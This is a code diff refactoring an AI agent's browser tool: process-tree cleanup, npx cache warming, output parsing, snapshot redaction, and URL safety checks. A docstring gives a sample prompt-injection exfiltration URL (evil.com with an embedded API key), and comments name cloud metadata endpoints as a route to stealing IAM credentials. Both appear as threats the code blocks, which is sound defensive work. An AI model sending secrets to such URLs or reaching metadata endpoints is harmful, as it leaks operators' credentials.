extended fallback PATH) - npx_path = _resolve_npx_bin() - if npx_path: - if not validate: - return NPX_AGENT_BROWSER_SENTINEL - _cached_agent_browser = NPX_AGENT_BROWSER_SENTINEL - _agent_browser_resolved = True - return _cached_agent_browser + # npx fallback (also searches the extended PATH) + if _resolve_npx_bin(): + return _accept(NPX_AGENT_BROWSER_SENTINEL) if not validate: raise FileNotFoundError("agent-browser CLI not found") @@ -3412,9 +2452,7 @@ def _find_agent_browser(*, validate: bool = True) -> str: ] for recheck in candidates: if recheck and agent_browser_runnable(recheck): - _cached_agent_browser = recheck - _agent_browser_resolved = True - return recheck + return _accept(recheck) except Exception: pass @@ -3427,39 +2465,16 @@ def _find_agent_browser(*, validate: bool = True) -> str: def _kill_process_tree(proc: "subprocess.Popen") -> None: - """Best-effort kill of *proc* and any descendants it spawned. + """Best-effort kill of *proc* and every descendant it spawned; never raises. - ``Popen.kill()`` only signals the direct child PID. npm/npx routinely - fork further processes (registry-fetch helpers, npm's own lifecycle - runner, agent-browser's own detached daemon grandchild) that can survive - a plain ``kill()`` of the top-level PID and keep a ``capture_output``-style - pipe open, hanging the caller's ``communicate()`` past the nominal - timeout — the same orphaned-pipe hazard already hit in production on - POSIX (see ``tools/process_registry.py``'s ``_reader_loop``, issue - #68915: a backgrounded grandchild inheriting a pipe's write end kept it - from ever reaching EOF). That hazard is cross-platform, not - Windows-specific; what *is* Windows-specific is the lack of a remedy - other than killing the tree — anonymous pipes there don't support - overlapped I/O, so there's no ``select()``-style non-blocking read to - poll around a stuck grandchild the way POSIX can. Killing the whole - process group/tree the child was launched into reaches those - descendants on both platforms. - - Fires SIGTERM then SIGKILL back-to-back with no grace period between - them (unlike ``tools/mcp_stdio_watchdog.py``'s ``_terminate_process_group``, - which waits between signals because it's reacting to a live daemon being - orphaned). By the time this is called, the caller has already burned its - full timeout budget waiting for a graceful exit — there's nothing to gain - from waiting again here, only more delay on an already-timed-out call. - - Delegates to :func:`agent.deadline.kill_process_tree` (#85125 4d): same - ``taskkill /T /F`` on Windows and killpg-when-group-leader on POSIX, plus - a psutil descendant sweep that also reaches descendants that ``setsid``'d - into their own session (agent-browser's detached daemon grandchild). - SIGKILL-only instead of the old zero-grace SIGTERM→SIGKILL pair — the - grace period was already zero, so the observable effect is identical. - Any delegation failure falls back to the original local implementation - (:func:`_legacy_kill_process_tree`); never raises either way. + ``Popen.kill()`` only signals the direct child. npm/npx fork helpers and + agent-browser's detached daemon grandchild, which survive a plain kill and + keep a capture pipe open so ``communicate()`` never sees EOF — on Windows + there is no non-blocking read to poll around that, so the whole tree must + go. No grace period: the caller already burned its full timeout waiting. + Delegates to :func:`agent.deadline.kill_process_tree` (taskkill /T /F, + killpg, plus a psutil sweep that reaches ``setsid``'d descendants) and + falls back to :func:`_legacy_kill_process_tree` on any failure. """ try: from agent.deadline import kill_process_tree as _deadline_kill_tree @@ -3470,7 +2485,7 @@ def _kill_process_tree(proc: "subprocess.Popen") -> None: def _legacy_kill_process_tree(proc: "subprocess.Popen") -> None: - """Pre-#85125 local tree-kill — fallback when agent.deadline is unavailable.""" + """Local tree-kill — fallback when agent.deadline is unavailable.""" if os.name == "nt": try: subprocess.run( @@ -3510,29 +2525,14 @@ def _legacy_kill_process_tree(proc: "subprocess.Popen") -> None: def warm_agent_browser_npx_cache(timeout: float = 60.0) -> bool: """Best-effort pre-fetch of the agent-browser npm package via npx. - agent-browser is no longer a root package.json dependency (#43564) — - it resolves lazily via ``npx agent-browser`` instead, which keeps it - out of the npm workspace install graph entirely (nothing to prune it - anymore) but means the first real invocation in a session would - otherwise pay npx's registry-lookup/fetch cost. Calling this during - ``hermes update`` (or ``hermes doctor --fix``) warms npx's own cache - ahead of time, restoring the "available before any session starts" - property agent-browser had while it was an eager root dependency — - without re-entangling it with the workspace graph. - - Runs a credential-scrubbed, PATH-propagated environment matching every - other agent-browser subprocess spawn (see ``_build_browser_env``) — - this used to inherit the full parent environment, including every - provider/gateway credential Hermes holds, while running registry-fetched - npm code on every ``hermes update`` (the GHSA-m4m8-xjp4-5rmm class of - risk ``_build_browser_env`` exists specifically to prevent). Runs in its - own process group and kills the *whole* group — not just the top-level - npx PID — on timeout, since a surviving descendant can otherwise hold a - capture pipe open past the nominal deadline (see ``_kill_process_tree``). - - Fire-and-forget: never raises, always safe to call opportunistically. - Returns True only if npx actually ran successfully (npx unavailable, - a timeout, or a nonzero exit all return False silently). + agent-browser resolves lazily via ``npx agent-browser`` (not a root + package.json dependency), so the first invocation in a session would pay + npx's registry fetch; ``hermes update`` / ``hermes doctor --fix`` call this + to warm the cache first. Runs with the credential-scrubbed env every other + agent-browser spawn uses (registry-fetched npm code must never see the + operator keyring), in its own process group, and tree-kills on timeout so + a surviving descendant cannot hold the capture pipe open. + Never raises; True only when npx actually exited 0. """ npx_bin = _resolve_npx_bin() if not npx_bin: @@ -3587,25 +2587,12 @@ def warm_agent_browser_npx_cache(timeout: float = 60.0) -> bool: return False -def _extract_screenshot_path_from_text(text: str) -> Optional[str]: - """Extract a screenshot file path from agent-browser human-readable output.""" - if not text: - return None - - patterns = [ - r"Screenshot saved to ['\"](?P/[^'\"]+?\.png)['\"]", - r"Screenshot saved to (?P/\S+?\.png)(?:\s|$)", - r"(?P/\S+?\.png)(?:\s|$)", - ] - - for pattern in patterns: - match = re.search(pattern, text) - if match: - path = match.group("path").strip().strip("'\"") - if path: - return path - - return None +from tools.browser_tool_snapshot import ( # noqa: F401 + _store_full_snapshot, + _truncate_snapshot, + _redact_browser_output, + _extract_screenshot_path_from_text, +) def _discard_timed_out_browser_session( @@ -3640,7 +2627,7 @@ def _discard_timed_out_browser_session( daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) if not _verify_reapable_browser_daemon(daemon_pid, task_socket_dir, session_name): return - # Tree-kill (#68139 / #85125 4c): the daemon spawns Chromium + # Tree-kill: the daemon spawns Chromium # children; terminating only the daemon PID leaks the whole # Chromium tree. agent.deadline.kill_process_tree escalates # SIGTERM → SIGKILL across the tree. @@ -3663,15 +2650,11 @@ def _read_browser_daemon_pid(task_socket_dir: str, session_name: str) -> Optiona def _browser_daemon_responsive(task_socket_dir: str, probe_timeout_s: float = 1.0) -> bool: - """Cheap liveness probe: can we connect to the daemon's control socket? + """Cheap liveness probe: connect to the daemon's unix control socket. - The agent-browser daemon listens on a unix socket inside the session's - socket dir. A successful connect proves the daemon's accept loop is - alive (the timed-out command was wedged on the page/CDP side, not the - daemon). A refused / missing / timed-out connect means the daemon is - wedged or dead. Windows agent-browser uses named pipes, not unix - sockets — no probe is possible there, so we conservatively report - unresponsive (tree-kill + respawn is the safe recovery). + A successful connect proves the accept loop is alive (the command wedged on + the page/CDP side, not the daemon). Windows uses named pipes — no probe is + possible, so report unresponsive (tree-kill + respawn is the safe recovery). """ if os.name == "nt": return False @@ -3702,31 +2685,20 @@ def _handle_browser_command_timeout( session_info: Dict[str, Any], task_socket_dir: str, ) -> None: - """Recover session state after a browser command timeout (#72205, #68139). + """Recover session state after a browser command timeout. - The wedged-vs-alive rule: + * Cloud / CDP sessions: no local daemon to probe — replace the stuck client + generation now (fresh ``session_name``, same ``bb_session_id`` so cloud + cleanup still works). + * Local daemon alive (PID live, identity-verified, control socket accepts): + only the *command* wedged; mark the session suspect and let the next use + recycle it via ``ensure_healthy`` → clean ``close`` → fresh session. + * Local daemon wedged/dead: it cannot service a clean close and its Chromium + children would leak — tree-kill and evict now; the next call respawns. - * **Cloud / CDP sessions** — there is no local daemon to probe or kill. - Replace the stuck client generation immediately (fresh ``session_name``, - same ``bb_session_id`` so cloud cleanup still works) — #72206's - original behavior, preserved verbatim. - * **Local daemon alive** (PID readable, process alive, identity-verified - as ours, control socket accepts a connection): the *command* wedged — - page hang, stuck navigation — but the daemon itself is fine. Killing - it would be overkill and slow. Mark the session suspect only; the - next use recycles it through ``ensure_healthy`` → clean agent-browser - ``close`` → fresh session. - * **Local daemon wedged or dead** (no PID, dead PID, failed identity - check, or unresponsive socket): the daemon cannot service a clean - close, and its Chromium children would leak. Tree-kill the daemon's - process tree via ``agent.deadline.kill_process_tree`` and evict the - cache entry now; the next browser call respawns from scratch. - - Both local branches ``mark_suspect`` first — cheap, lock-free — so the - poisoned-cache invariant holds even if the eviction below races another - thread's replacement (``_discard_timed_out_browser_session`` no-ops on a - concurrent replacement; the flag then triggers one harmless no-op - teardown at next use). + Both local branches ``mark_suspect`` first (cheap, lock-free) so the + poisoned-cache invariant holds even if eviction races another thread's + replacement (the flag then costs one harmless no-op teardown). """ if session_info.get("bb_session_id") or session_info.get("cdp_url"): _discard_timed_out_browser_session(task_id, session_info, task_socket_dir) @@ -3785,6 +2757,57 @@ def _pid_exists(pid: int) -> bool: return True +def _interpret_browser_command_output(command: str, stdout: str, stderr: str, returncode: int) -> Dict[str, Any]: + """Turn a finished agent-browser process's output into a result dict. + + Empty stdout with rc=0 is a broken state (stale daemon) and is reported as + failure rather than a silent ``{"success": True, "data": {}}`` — except for + commands in ``_EMPTY_OK_COMMANDS``. Non-JSON output is an error, except + for ``screenshot`` where the saved path is recovered from the prose. + """ + if stderr and stderr.strip(): + level = logging.WARNING if returncode != 0 else logging.DEBUG + logger.log(level, "browser '%s' stderr: %s", command, stderr.strip()[:500]) + + stdout_text = stdout.strip() + if not stdout_text and returncode == 0 and command not in _EMPTY_OK_COMMANDS: + logger.warning("browser '%s' returned empty output (rc=0)", command) + return {"success": False, "error": f"Browser command '{command}' returned no output"} + if not stdout_text: + if returncode != 0: + error_msg = stderr.strip() if stderr else f"Command failed with code {returncode}" + logger.warning("browser '%s' failed (rc=%s): %s", command, returncode, error_msg[:300]) + return {"success": False, "error": error_msg} + return {"success": True, "data": {}} + + try: + parsed = json.loads(stdout_text) + except json.JSONDecodeError: + raw = stdout_text[:2000] + logger.warning("browser '%s' returned non-JSON output (rc=%s): %s", + command, returncode, raw[:500]) + if command == "screenshot": + stderr_text = (stderr or "").strip() + combined_text = "\n".join(part for part in [stdout_text, stderr_text] if part) + recovered_path = _extract_screenshot_path_from_text(combined_text) + if recovered_path and Path(recovered_path).exists(): + logger.info( + "browser 'screenshot' recovered file from non-JSON output: %s", + recovered_path, + ) + return {"success": True, "data": {"path": recovered_path, "raw": raw}} + return {"success": False, "error": f"Non-JSON output from agent-browser for '{command}': {raw}"} + + # Empty snapshot content is a common sign of daemon/CDP issues. + if command == "snapshot" and parsed.get("success"): + snap_data = parsed.get("data", {}) + if not snap_data.get("snapshot") and not snap_data.get("refs"): + logger.warning("snapshot returned empty content. " + "Possible stale daemon or CDP connection issue. " + "returncode=%s", returncode) + return parsed + + def _run_browser_command( task_id: str, command: str, @@ -3792,21 +2815,11 @@ def _run_browser_command( timeout: Optional[int] = None, _engine_override: Optional[str] = None, ) -> Dict[str, Any]: - """ - Run an agent-browser CLI command using our pre-created Browserbase session. + """Run one agent-browser CLI command against the task's session; returns its parsed JSON. - Args: - task_id: Task identifier to get the right session - command: The command to run (e.g., "open", "click") - args: Additional arguments for the command - timeout: Command timeout in seconds. ``None`` reads - ``browser.command_timeout`` from config (default 30s). - _engine_override: Force a specific engine for this call only. Used - internally by the Lightpanda fallback to retry with - Chrome without touching global state. - - Returns: - Parsed JSON response from agent-browser + ``timeout=None`` reads ``browser.command_timeout`` (default 30s). + ``_engine_override`` forces an engine for this call only (the Lightpanda + fallback uses it to retry with Chrome without touching global state). """ if timeout is None: timeout = _safe_command_timeout() @@ -3885,53 +2898,13 @@ def _run_browser_command( if engine != "auto" and not _is_camofox_mode() and not session_info.get("cdp_url"): backend_args += ["--engine", engine] - # Keep concrete executable paths intact, even when they contain spaces. - # Only the synthetic npx fallback needs to expand into multiple argv items. - # Resolve via the same PATH + extended-PATH cascade _find_agent_browser - # uses (see the chrome-fallback call site above for why a bare - # shutil.which("npx") is wrong here). - if _is_npx_agent_browser_sentinel(browser_cmd): - _npx_bin = _resolve_npx_bin() or "npx" - # --ignore-scripts: see _run_chrome_fallback_command's identical comment. - cmd_prefix = [_npx_bin, "--ignore-scripts", "--prefer-offline", "-y", AGENT_BROWSER_NPX_SPEC] - else: - cmd_prefix = [browser_cmd] - - cmd_parts = cmd_prefix + backend_args + [ - "--json", - command - ] + args + cmd_parts = _agent_browser_argv(browser_cmd) + backend_args + ["--json", command] + args try: - # Give each task its own socket directory to prevent concurrency conflicts. - # Without this, parallel workers fight over the same default socket path, - # causing "Failed to create socket directory: Permission denied" errors. - task_socket_dir = os.path.join( - _socket_safe_tmpdir(), - f"agent-browser-{session_info['session_name']}" - ) - os.makedirs(task_socket_dir, mode=0o700, exist_ok=True) - # Record this hermes PID as the session owner (cross-process safe - # orphan detection — see _write_owner_pid). - _write_owner_pid(task_socket_dir, session_info['session_name']) + task_socket_dir = _prepare_session_socket_dir(session_info["session_name"]) logger.debug("browser cmd=%s task=%s socket_dir=%s (%d chars)", command, task_id, task_socket_dir, len(task_socket_dir)) - - browser_env = _build_browser_env() - - # Ensure subprocesses inherit the same browser-specific PATH fallbacks - # used during CLI discovery. - browser_env["PATH"] = _merge_browser_path(browser_env.get("PATH", "")) - browser_env["AGENT_BROWSER_SOCKET_DIR"] = task_socket_dir - - # Tell the agent-browser daemon to self-terminate after being idle - # for our configured inactivity timeout. This is the daemon-side - # counterpart to our Python-side _cleanup_inactive_browser_sessions - # — the daemon kills itself and its Chrome children when no CLI - # commands arrive within the window. Added in agent-browser 0.24. - if "AGENT_BROWSER_IDLE_TIMEOUT_MS" not in browser_env: - idle_ms = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000) - browser_env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = idle_ms + browser_env = _agent_browser_command_env(task_socket_dir) # Chromium-only launch flags are rejected by Lightpanda. Strip both # the current and legacy variables for Lightpanda commands; explicit @@ -3949,43 +2922,9 @@ def _run_browser_command( else: _apply_chromium_sandbox_args(browser_env) - # Use temp files for stdout/stderr instead of pipes. - # agent-browser starts a background daemon that inherits file - # descriptors. With capture_output=True (pipes), the daemon keeps - # the pipe fds open after the CLI exits, so communicate() never - # sees EOF and blocks until the timeout fires. stdout_path = os.path.join(task_socket_dir, f"_stdout_{command}") stderr_path = os.path.join(task_socket_dir, f"_stderr_{command}") - stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - try: - # See matching comment at the other Popen site above — on - # Windows we put agent-browser in its own process group, force - # STARTF_USESTDHANDLES so CreateProcess hands the child ONLY our - # three explicit handles (no leaked parent-console handles to - # confuse the Rust binary's daemon-spawn), and close_fds=True to - # block inheritance of everything else. - _popen_extra: dict = {} - if os.name == "nt": - # See matching block at the other Popen site — CREATE_NO_WINDOW - # only, NO CREATE_NEW_PROCESS_GROUP (cancels asyncio loop task - # on Python 3.11 Windows → KeyboardInterrupt in CLI MainThread). - _popen_extra["creationflags"] = windows_hide_flags() - _popen_extra["close_fds"] = True - _si = subprocess.STARTUPINFO() - _si.dwFlags |= subprocess.STARTF_USESTDHANDLES - _popen_extra["startupinfo"] = _si - proc = subprocess.Popen( - cmd_parts, - stdout=stdout_fd, - stderr=stderr_fd, - stdin=subprocess.DEVNULL, - env=browser_env, - **_popen_extra, - ) - finally: - os.close(stdout_fd) - os.close(stderr_fd) + proc = _popen_agent_browser(cmd_parts, browser_env, task_socket_dir, command) try: proc.wait(timeout=timeout) @@ -4013,80 +2952,8 @@ def _run_browser_command( stdout = f.read() with open(stderr_path, "r", encoding="utf-8") as f: stderr = f.read() - returncode = proc.returncode - - # Clean up temp files (best-effort) - for p in (stdout_path, stderr_path): - try: - os.unlink(p) - except OSError: - pass - - # Log stderr for diagnostics — use warning level on failure so it's visible - if stderr and stderr.strip(): - level = logging.WARNING if returncode != 0 else logging.DEBUG - logger.log(level, "browser '%s' stderr: %s", command, stderr.strip()[:500]) - - stdout_text = stdout.strip() - - # Empty output with rc=0 is a broken state — treat as failure rather - # than silently returning {"success": True, "data": {}}. - # Some commands (close, record) legitimately return no output. - if not stdout_text and returncode == 0 and command not in _EMPTY_OK_COMMANDS: - logger.warning("browser '%s' returned empty output (rc=0)", command) - result = {"success": False, "error": f"Browser command '{command}' returned no output"} - elif stdout_text: - try: - parsed = json.loads(stdout_text) - # Warn if snapshot came back empty (common sign of daemon/CDP issues) - if command == "snapshot" and parsed.get("success"): - snap_data = parsed.get("data", {}) - if not snap_data.get("snapshot") and not snap_data.get("refs"): - logger.warning("snapshot returned empty content. " - "Possible stale daemon or CDP connection issue. " - "returncode=%s", returncode) - result = parsed - except json.JSONDecodeError: - raw = stdout_text[:2000] - logger.warning("browser '%s' returned non-JSON output (rc=%s): %s", - command, returncode, raw[:500]) - - if command == "screenshot": - stderr_text = (stderr or "").strip() - combined_text = "\n".join( - part for part in [stdout_text, stderr_text] if part - ) - recovered_path = _extract_screenshot_path_from_text(combined_text) - - if recovered_path and Path(recovered_path).exists(): - logger.info( - "browser 'screenshot' recovered file from non-JSON output: %s", - recovered_path, - ) - result = { - "success": True, - "data": { - "path": recovered_path, - "raw": raw, - }, - } - else: - result = { - "success": False, - "error": f"Non-JSON output from agent-browser for '{command}': {raw}" - } - else: - result = { - "success": False, - "error": f"Non-JSON output from agent-browser for '{command}': {raw}" - } - elif returncode != 0: - # Check for errors - error_msg = stderr.strip() if stderr else f"Command failed with code {returncode}" - logger.warning("browser '%s' failed (rc=%s): %s", command, returncode, error_msg[:300]) - result = {"success": False, "error": error_msg} - else: - result = {"success": True, "data": {}} + _unlink_command_output_files(stdout_path, stderr_path) + result = _interpret_browser_command_output(command, stdout, stderr, proc.returncode) except Exception as e: logger.warning("browser '%s' exception: %s", command, e, exc_info=True) @@ -4114,143 +2981,41 @@ def _run_browser_command( return result -def _store_full_snapshot(snapshot_text: str) -> Optional[str]: - """Write a full page snapshot to cache/web and return its absolute path. - - Called whenever a snapshot exceeds SNAPSHOT_SUMMARIZE_THRESHOLD and the - model is about to receive a truncated or LLM-summarized view. Mirrors - ``web_tools._store_full_text``: the file lands in the same cache/web - directory (mounted read-only into remote backends via - credential_files._CACHE_DIRS) so the agent's read_file/terminal tools can - page through the complete accessibility tree — including element refs that - the truncated view dropped — on any backend. - - The stored copy is secret-redacted (same force-redaction boundary as - ``_redact_browser_output``) since page-rendered API keys or tokens must - not be written to disk unmasked. The filename is keyed on a content hash, - so repeated snapshots of the same page state dedupe to one file. Returns - None on failure (storage is best-effort; the truncated view is still - returned to the model). - """ - try: - import hashlib - from hermes_constants import get_hermes_dir - from agent.redact import redact_sensitive_text - - content = redact_sensitive_text(snapshot_text, force=True) - if len(content) > MAX_STORED_SNAPSHOT_CHARS: - content = ( - content[:MAX_STORED_SNAPSHOT_CHARS] - + f"\n\n[... stored copy truncated at {MAX_STORED_SNAPSHOT_CHARS:,} chars " - f"of {len(content):,} ...]" - ) - from tools.spill_safety import ensure_spill_dir, write_text_exclusive - - cache_dir = get_hermes_dir("cache/web", "web_cache") - ensure_spill_dir(cache_dir, private=False) - digest = hashlib.sha256(content.encode("utf-8")).hexdigest()[:10] - path = cache_dir / f"browser-snapshot-{digest}.txt" - # Deterministic filename in a well-known dir: refuse symlinks via - # lstat-unlink + exclusive create. Re-snapshotting the same page - # state legitimately overwrites (same content-hash name). Not - # private: cache/web is bind-mounted into remote backends whose - # container UID must be able to read it. - write_text_exclusive(path, content, private=False, overwrite=True) - return str(path) - except Exception as exc: # noqa: BLE001 - logger.debug("Failed to store full browser snapshot: %s", exc) - return None - - -def _truncate_snapshot(snapshot_text: str, max_chars: Optional[int] = None) -> str: - """Structure-aware truncation for snapshots. - - Cuts at line boundaries so that accessibility tree elements are never - split mid-line. The full snapshot is saved to cache/web (same pattern as - web_extract's truncate-and-store) and the appended note tells the agent - exactly where the complete text lives and how to page through it with - read_file — element refs beyond the cut are in the file, not lost. - - Args: - snapshot_text: The snapshot text to truncate - max_chars: Maximum characters to keep. Defaults to the configured - ``browser.snapshot_threshold`` (see - :func:`get_browser_snapshot_threshold`). - - Returns: - Truncated text with a stored-full-text pointer if truncated - """ - if max_chars is None: - max_chars = get_browser_snapshot_threshold() - if len(snapshot_text) <= max_chars: - return snapshot_text - - stored_path = _store_full_snapshot(snapshot_text) - - lines = snapshot_text.split('\n') - result: list[str] = [] - chars = 0 - # Reserve space for the truncation note (the stored-path variant is the - # longer of the two). Clamp so tiny max_chars values still keep content. - reserve = min(110 + len(stored_path or ""), max_chars // 2) - for line in lines: - if chars + len(line) + 1 > max_chars - reserve: - break - result.append(line) - chars += len(line) + 1 - remaining = len(lines) - len(result) - if remaining > 0: - if stored_path: - next_line = len(result) + 1 - result.append( - f'\n[... {remaining} more lines truncated — full snapshot: ' - f'read_file path="{stored_path}" offset={next_line} limit=200]' - ) - else: - result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]') - return '\n'.join(result) - - -def _redact_browser_output(value: Any) -> Any: - """Redact secrets from browser-originated data before returning to the model. - - Browser snapshots, console messages, JS exceptions, and eval results can - contain page-rendered API keys, cookies, bearer tokens, or pasted secrets. - Tool output is a model boundary, so force redaction here even if global log - redaction is disabled for debugging. - """ - from agent.redact import redact_sensitive_text - - if isinstance(value, str): - return redact_sensitive_text(value, force=True) - if isinstance(value, list): - return [_redact_browser_output(item) for item in value] - if isinstance(value, tuple): - return tuple(_redact_browser_output(item) for item in value) - if isinstance(value, dict): - return {key: _redact_browser_output(item) for key, item in value.items()} - return value - - # ============================================================================ # Browser Tool Functions # ============================================================================ -def evaluate_url_safety(url: str) -> Optional[dict]: - """Run URL safety checks; None if safe, else an error dict""" +def _secret_url_error(url: str) -> Optional[dict]: + """Refuse URLs that embed an API key/token (raw and URL-decoded, catching ``%2D`` tricks). + + A prompt injection could otherwise make the agent navigate to + ``https://evil.com/steal?key=sk-ant-...`` to exfiltrate secrets. + """ import urllib.parse from agent.redact import _PREFIX_RE - _secret = {"success": False, "error": "Blocked: URL contains what appears to be an API key or token. Secrets must not be sent in URLs."} if _PREFIX_RE.search(url) or _PREFIX_RE.search(urllib.parse.unquote(url)): - return _secret - url = _normalize_url_for_request(url) - if _PREFIX_RE.search(url) or _PREFIX_RE.search(urllib.parse.unquote(url)): - return _secret + return {"success": False, "error": "Blocked: URL contains what appears to be an API key or token. Secrets must not be sent in URLs."} + return None + +def _url_policy_error(url: str, *, auto_local: bool = False) -> Optional[dict]: + """Backend-aware URL checks on an already-normalized URL; None if allowed. + + Order matters and every step is a floor for the next: + 1. Credential-like query params are refused for cloud backends (third-party + readers) — allowed for local backends and for the hybrid local sidecar. + 2. Cloud metadata / IMDS endpoints are refused UNCONDITIONALLY, for every + backend including pure-local Chromium and off-host CDP (a local Chromium + on a cloud VM still reaches the host IMDS). + 3. Private/internal addresses are refused unless the backend is local, the + URL is being auto-routed to the local sidecar (``auto_local``), or + ``browser.allow_private_urls`` opts out. + 4. Website policy (config allow/deny lists). + """ local = _is_local_backend() sensitive_query_key = _sensitive_query_param_name(url) - if sensitive_query_key and not local: + if sensitive_query_key and not local and not auto_local: return {"success": False, "error": ( "Blocked: URL contains a credential-like query parameter " f"({sensitive_query_key}). Cloud browser backends are third-party " @@ -4258,7 +3023,7 @@ def evaluate_url_safety(url: str) -> Optional[dict]: "query parameter before navigating.")} if _is_always_blocked_url(url): return {"success": False, "error": "Blocked: URL targets a cloud metadata endpoint"} - if not local and not _allow_private_urls() and not _is_safe_url(url): + if not local and not auto_local and not _allow_private_urls() and not _is_safe_url(url): return {"success": False, "error": "Blocked: URL targets a private or internal address"} blocked = check_website_access(url) if blocked: @@ -4267,97 +3032,94 @@ def evaluate_url_safety(url: str) -> Optional[dict]: return None -def browser_navigate(url: str, task_id: Optional[str] = None) -> str: - """ - Navigate to a URL in the browser. - - Args: - url: The URL to navigate to - task_id: Task identifier for session isolation - - Returns: - JSON string with navigation result (includes stealth features info on first nav) - """ - # Secret exfiltration protection — block URLs that embed API keys or - # tokens in query parameters. A prompt injection could trick the agent - # into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets. - # Also check URL-decoded form to catch %2D encoding tricks (e.g. sk%2Dant%2D...). - import urllib.parse - from agent.redact import _PREFIX_RE - url_decoded = urllib.parse.unquote(url) - if _PREFIX_RE.search(url) or _PREFIX_RE.search(url_decoded): - return json.dumps({ - "success": False, - "error": "Blocked: URL contains what appears to be an API key or token. " - "Secrets must not be sent in URLs.", - }) +def evaluate_url_safety(url: str) -> Optional[dict]: + """Run URL safety checks; None if safe, else an error dict""" + err = _secret_url_error(url) + if err: + return err url = _normalize_url_for_request(url) - normalized_decoded = urllib.parse.unquote(url) - if _PREFIX_RE.search(url) or _PREFIX_RE.search(normalized_decoded): + return _secret_url_error(url) or _url_policy_error(url) + + +_BOT_DETECTION_TITLE_PATTERNS = ( + "access denied", "access to this page has been denied", + "blocked", "bot detected", "verification required", + "please verify", "are you a robot", "captcha", + "cloudflare", "ddos protection", "checking your browser", + "just a moment", "attention required", +) + + +def _post_redirect_block(nav_session_key: str, url: str, final_url: str, auto_local_this_nav: bool) -> Optional[str]: + """Post-redirect SSRF check; returns a blocked JSON payload or None. + + If the browser followed a redirect to a private/internal address the model + could read internal content via later snapshots, so the page is navigated to + about:blank first. The cloud-metadata floor fires for every backend (even the + local sidecar); the private-address check is skipped for local backends and + the hybrid sidecar, and when ``browser.allow_private_urls`` opts out. + """ + if not final_url or final_url == url: + return None + if _is_always_blocked_url(final_url): + _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10) return json.dumps({ "success": False, - "error": "Blocked: URL contains what appears to be an API key or token. " - "Secrets must not be sent in URLs.", + "error": "Blocked: redirect landed on a cloud metadata endpoint", }) - - # SSRF protection — block private/internal addresses before navigating. - # Skipped for local backends (Camofox, headless Chromium without a cloud - # provider) because the agent already has full local network access via - # the terminal tool. Also skipped when hybrid routing will auto-spawn a - # local Chromium sidecar for this URL (cloud provider configured + - # private URL + ``browser.auto_local_for_private_urls`` enabled) — the - # cloud provider never sees the URL in that case. Can also be opted - # out globally via ``browser.allow_private_urls`` in config. - effective_task_id = task_id or "default" - nav_session_key = _navigation_session_key(effective_task_id, url) - auto_local_this_nav = _is_local_sidecar_key(nav_session_key) - - sensitive_query_key = _sensitive_query_param_name(url) - if sensitive_query_key and not _is_local_backend() and not auto_local_this_nav: - return json.dumps({ - "success": False, - "error": ( - "Blocked: URL contains a credential-like query parameter " - f"({sensitive_query_key}). Cloud browser backends are third-party " - "readers; use a local browser/CDP session or remove the sensitive " - "query parameter before navigating." - ), - }) - - # Always-blocked floor: cloud metadata / IMDS endpoints are denied - # regardless of backend, hybrid routing, or allow_private_urls. - # There's no legitimate agent use case for navigating to - # 169.254.169.254 / metadata.google.internal / ECS task metadata - # via a browser, and routing those to a local Chromium sidecar - # on an EC2/GCP/Azure host exfiltrates IAM credentials (#16234). - # The floor is UNCONDITIONAL — it must fire for every backend, - # including the pure-local headless Chromium and off-host CDP cases - # (a local Chromium on a cloud VM still reaches the host IMDS). - if _is_always_blocked_url(url): - return json.dumps({ - "success": False, - "error": "Blocked: URL targets a cloud metadata endpoint", - }) - if ( not _is_local_backend() and not auto_local_this_nav and not _allow_private_urls() - and not _is_safe_url(url) + and not _is_safe_url(final_url) ): + _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10) return json.dumps({ "success": False, - "error": "Blocked: URL targets a private or internal address", + "error": "Blocked: redirect landed on a private/internal address", }) + return None - # Website policy check — block before navigating - blocked = check_website_access(url) - if blocked: - return json.dumps({ - "success": False, - "error": blocked["message"], - "blocked_by_policy": {"host": blocked["host"], "rule": blocked["rule"], "source": blocked["source"]}, - }) + +def _attach_auto_snapshot(response: Dict[str, Any], nav_session_key: str) -> None: + """Add a compact snapshot to a navigate response so the model can act without browser_snapshot.""" + try: + snap_result = _run_browser_command(nav_session_key, "snapshot", ["-c"]) + if snap_result.get("success"): + snap_data = snap_result.get("data", {}) + snapshot_text = snap_data.get("snapshot", "") + refs = snap_data.get("refs", {}) + threshold = get_browser_snapshot_threshold() + if len(snapshot_text) > threshold: + snapshot_text = _truncate_snapshot(snapshot_text, max_chars=threshold) + response["snapshot"] = _redact_browser_output(snapshot_text) + response["element_count"] = len(refs) if refs else 0 + if snap_result.get("fallback_warning") and not response.get("fallback_warning"): + _copy_fallback_warning(response, snap_result) + except Exception as e: + logger.debug("Auto-snapshot after navigate failed: %s", e) + + +def browser_navigate(url: str, task_id: Optional[str] = None) -> str: + """Navigate to ``url``; returns JSON with title, compact snapshot and, on first nav, stealth features.""" + # Hybrid routing decides BEFORE the safety checks whether this URL goes to a + # local Chromium sidecar (cloud provider configured + private URL + + # ``browser.auto_local_for_private_urls``); the cloud provider never sees + # the URL in that case, so the private-address checks are relaxed for it. + safety_error = _secret_url_error(url) + if safety_error is None: + url = _normalize_url_for_request(url) + safety_error = _secret_url_error(url) + if safety_error is not None: + return json.dumps(safety_error) + + effective_task_id = task_id or "default" + nav_session_key = _navigation_session_key(effective_task_id, url) + auto_local_this_nav = _is_local_sidecar_key(nav_session_key) + + safety_error = _url_policy_error(url, auto_local=auto_local_this_nav) + if safety_error is not None: + return json.dumps(safety_error) # Camofox backend — delegate after safety checks pass if _is_camofox_mode(): @@ -4390,133 +3152,71 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str: timeout=_get_open_command_timeout(first_open=is_first_nav), ) - if result.get("success"): - data = result.get("data", {}) - title = data.get("title", "") - final_url = data.get("url", url) - - # Post-redirect SSRF check — if the browser followed a redirect to a - # private/internal address, block the result so the model can't read - # internal content via subsequent browser_snapshot calls. - # Skipped for local backends (same rationale as the pre-nav check), - # and for the hybrid local sidecar (we're already on a local browser - # hitting a private URL by design). - 